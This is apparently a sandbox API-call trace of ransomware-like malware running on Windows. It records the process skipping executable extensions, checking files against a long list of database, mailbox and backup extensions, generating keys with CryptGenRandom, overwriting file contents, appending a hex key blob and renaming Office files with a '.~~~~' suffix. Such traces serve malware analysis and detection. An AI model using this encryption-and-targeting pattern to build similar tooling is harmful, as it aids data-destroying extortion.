	[0137.755] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0137.755] GetLastError () returned 0x0
	[0137.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.759] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0137.761] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.761] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.763] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.763] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.763] CloseHandle (hObject=0x114) returned 1
	[0137.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6088
	[0137.764] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.~~~~")) returned 1
	[0137.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6088 | out: hHeap=0x300000) returned 1
	[0137.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0137.766] GetLastError () returned 0x0
	[0137.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0137.767] lstrlenW (lpString=".cmd") returned 4
	[0137.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0137.767] lstrlenW (lpString=".dll") returned 4
	[0137.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0137.767] lstrlenW (lpString=".bat") returned 4
	[0137.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0137.767] lstrlenW (lpString=".cpl") returned 4
	[0137.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0137.767] lstrlenW (lpString=".sys") returned 4
	[0137.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0137.767] lstrlenW (lpString=".msc") returned 4
	[0137.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
	[0137.767] lstrlenW (lpString=".com") returned 4
	[0137.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0137.767] lstrlenW (lpString=".lnk") returned 4
	[0137.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0137.767] lstrlenW (lpString=".msp") returned 4
	[0137.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0137.767] lstrlenW (lpString=".pif") returned 4
	[0137.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0137.767] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0137.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0137.769] lstrlenW (lpString=".sqb") returned 4
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0137.770] lstrlenW (lpString=".ost") returned 4
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0137.770] lstrlenW (lpString=".txt") returned 4
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0137.770] lstrlenW (lpString=".mdt") returned 4
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0137.770] lstrlenW (lpString=".BDB") returned 4
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0137.770] lstrlenW (lpString=".eql") returned 4
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0137.770] lstrlenW (lpString=".DBF") returned 4
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0137.770] lstrlenW (lpString=".EQL") returned 4
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0137.770] lstrlenW (lpString=".FDB") returned 4
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0137.770] lstrlenW (lpString=".EDB") returned 4
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0137.770] lstrlenW (lpString=".DACPAC") returned 7
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0137.770] lstrlenW (lpString=".VHD") returned 4
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0137.770] lstrlenW (lpString=".DBV") returned 4
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0137.770] lstrlenW (lpString=".dacpac") returned 7
	[0137.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0137.771] lstrlenW (lpString=".sdf") returned 4
	[0137.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0137.771] lstrlenW (lpString=".accdb") returned 6
	[0137.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0137.771] lstrlenW (lpString=".DBX") returned 4
	[0137.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0137.771] lstrlenW (lpString=".MDT") returned 4
	[0137.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0137.771] lstrlenW (lpString=".SQB") returned 4
	[0137.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0137.771] lstrlenW (lpString=".vhd") returned 4
	[0137.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0137.771] lstrlenW (lpString=".bac") returned 4
	[0137.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0137.771] lstrlenW (lpString=".mdf") returned 4
	[0137.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0137.771] lstrlenW (lpString=".BAK") returned 4
	[0137.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0137.771] lstrlenW (lpString=".BAC") returned 4
	[0137.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0137.771] lstrlenW (lpString=".dbs") returned 4
	[0137.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0137.771] lstrlenW (lpString=".vhdx") returned 5
	[0137.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0137.771] lstrlenW (lpString=".NDF") returned 4
	[0137.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0137.771] lstrlenW (lpString=".dat") returned 4
	[0137.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0137.772] lstrlenW (lpString=".DBS") returned 4
	[0137.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0137.772] lstrlenW (lpString=".CKP") returned 4
	[0137.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0137.772] lstrlenW (lpString=".edb") returned 4
	[0137.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0137.772] lstrlenW (lpString=".PST") returned 4
	[0137.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0137.772] lstrlenW (lpString=".dbf") returned 4
	[0137.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0137.772] lstrlenW (lpString=".SQL") returned 4
	[0137.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0137.772] lstrlenW (lpString=".pst") returned 4
	[0137.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0137.772] lstrlenW (lpString=".dbv") returned 4
	[0137.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0137.772] lstrlenW (lpString=".SDF") returned 4
	[0137.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0137.772] lstrlenW (lpString=".dtxs") returned 5
	[0137.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0137.772] lstrlenW (lpString=".db3") returned 4
	[0137.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0137.772] lstrlenW (lpString=".OST") returned 4
	[0137.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0137.773] lstrlenW (lpString=".dbx") returned 4
	[0137.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0137.773] lstrlenW (lpString=".DB3") returned 4
	[0137.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0137.773] lstrlenW (lpString=".DAT") returned 4
	[0137.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0137.773] lstrlenW (lpString=".VHDX") returned 5
	[0137.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0137.773] lstrlenW (lpString=".ndf") returned 4
	[0137.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0137.773] lstrlenW (lpString=".DB") returned 3
	[0137.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0137.773] lstrlenW (lpString=".sql") returned 4
	[0137.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0137.773] lstrlenW (lpString=".MYD") returned 4
	[0137.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0137.773] lstrlenW (lpString=".DBT") returned 4
	[0137.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0137.773] lstrlenW (lpString=".ACCDB") returned 6
	[0137.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0137.773] lstrlenW (lpString=".fdb") returned 4
	[0137.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0137.773] lstrlenW (lpString=".bak") returned 4
	[0137.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0137.773] lstrlenW (lpString=".myd") returned 4
	[0137.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0137.773] lstrlenW (lpString=".DTXS") returned 5
	[0137.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0137.774] lstrlenW (lpString=".ckp") returned 4
	[0137.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0137.774] lstrlenW (lpString=".dbt") returned 4
	[0137.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0137.774] lstrlenW (lpString=".db") returned 3
	[0137.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0137.774] lstrlenW (lpString=".TXT") returned 4
	[0137.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0137.774] lstrlenW (lpString=".MDF") returned 4
	[0137.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0137.774] lstrlenW (lpString=".bdb") returned 4
	[0137.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0137.774] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0137.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.774] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0137.775] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.775] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0137.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0137.776] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25776587594) returned 1
	[0137.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbb90d070, dwHighDateTime=0x1d60e1e)) 
	[0137.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0137.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0137.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0137.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825898
	[0137.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825898 | out: hHeap=0x300000) returned 1
	[0137.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce428
	[0137.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fca98
	[0137.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce428 | out: hHeap=0x300000) returned 1
	[0137.777] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0137.777] GetLastError () returned 0x0
	[0137.777] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0137.777] GetLastError () returned 0x0
	[0137.915] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffef680, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.915] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x10980, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x10980, lpOverlapped=0x0) returned 1
	[0137.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0137.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.916] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.916] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.916] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.916] CloseHandle (hObject=0x114) returned 1
	[0137.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce968
	[0137.917] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.~~~~")) returned 1
	[0137.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce968 | out: hHeap=0x300000) returned 1
	[0137.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0137.920] GetLastError () returned 0x0
	[0137.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".scr") returned 0x0
	[0137.920] lstrlenW (lpString=".cmd") returned 4
	[0137.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".cmd") returned 0x0
	[0137.920] lstrlenW (lpString=".dll") returned 4
	[0137.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".dll") returned 0x0
	[0137.920] lstrlenW (lpString=".bat") returned 4
	[0137.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".bat") returned 0x0
	[0137.920] lstrlenW (lpString=".cpl") returned 4
	[0137.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".cpl") returned 0x0
	[0137.920] lstrlenW (lpString=".sys") returned 4
	[0137.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".sys") returned 0x0
	[0137.920] lstrlenW (lpString=".msc") returned 4
	[0137.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".msc") returned 0x0
	[0137.920] lstrlenW (lpString=".com") returned 4
	[0137.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".com") returned 0x0
	[0137.921] lstrlenW (lpString=".lnk") returned 4
	[0137.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".lnk") returned 0x0
	[0137.921] lstrlenW (lpString=".msp") returned 4
	[0137.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS", lpSrch=".msp") returned 0x0
	[0137.921] lstrlenW (lpString=".pif") returned 4
